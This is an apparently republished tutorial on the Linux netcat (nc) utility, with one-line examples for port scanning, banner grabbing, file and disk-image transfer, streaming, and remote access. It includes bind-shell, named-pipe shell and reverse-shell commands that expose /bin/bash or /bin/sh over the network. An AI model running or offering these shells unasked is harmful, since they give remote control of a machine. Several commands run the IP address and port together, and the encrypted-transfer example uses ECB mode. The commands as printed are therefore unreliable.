Mastering Netcat (nc): The Ultimate Linux Tool for Reading and Writing Data
This article explains how to use netcat (nc) on Linux for TCP/UDP communication, covering command syntax, port scanning, banner grabbing, chat servers, file transfers, directory compression, encrypted streams, cloning devices, remote shells, and advanced piping techniques, all with concrete command examples.
Netcat (nc) is a versatile Unix utility that reads and writes data over TCP and UDP, enabling file transfers, chat sessions, media streaming, and more.
Command Format
nc [options] hostname port[ ... ]Port Scanning
nc -z -v -n 172.16.71.233-25Banner Grabbing
nc -v 172.16.71.23322The command connects to an open port (22) and prints the service banner.
Chat Server / Client
# Server
nc -l 1666 # Client
nc 172.16.71.2331666File Transfer (Server)
nc -l 1666 < file.txtFile Transfer (Client)
nc -n 172.16.71.2331666 > file.txtReverse File Transfer (Server)
nc -l 1666 > file.txtReverse File Transfer (Client)
nc -n 172.16.71.2331666 < file.txtDirectory Compression Transfer (Server)
tar -cvf - dir_name | nc -l 1666Directory Compression Reverse Transfer (Server)
tar -cvf - dir_name | bzip2 -z | nc -l 1666Encrypted Transfer (Server)
nc 172.16.71.2331666 | mcrypt --flush --bare -F -q -m ecb > file.txtEncrypted Transfer (Client)
mcrypt --flush --bare -F -q -m ecb < file.txt | nc -l 1666Both commands require the same password on each side.
Streaming Video
cat video.avi | nc -l 1666 nc 172.16.71.2331666 | mplayer -vo x11 -cache 3000Cloning Device
# Server
dd if=/dev/vdb | nc -l 1666 # Client
nc -n 172.16.71.2331666 | dd of=/dev/vdbRemote Shell (Server)
nc -l 1666 -e /bin/bash -iRemote Shell (Client)
nc 172.16.71.2331666Pipe Method (Server)
mkfifo /tmp/tmp_fifo
cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1666 > /tmp/tmp_fifoPipe Method (Client)
nc -n 172.16.71.2331666Reverse Remote Shell (Server)
nc -l 1666Reverse Remote Shell (Client)
nc 172.16.71.2331666 -e /bin/bashSpecifying Source Port (Server)
nc -l 1666Specifying Source Port (Client)
nc 172.16.71.2331666 -p 25Ports below 1024 require root privileges; the command opens port 25 on the client for communication, otherwise a random port is used.
Specifying Source Address (Server)
nc -u -l 1666 < file.txtSpecifying Source Address (Client)
nc -u 172.16.71.2331666 -s 172.16.71.4 > file.txtFurther Study
man ncSigned-in readers can open the original source through BestHub's protected redirect.
This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactand we will review it promptly.
ThinkingAgent
Sharing the latest AI-native technologies and real-world implementations.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.
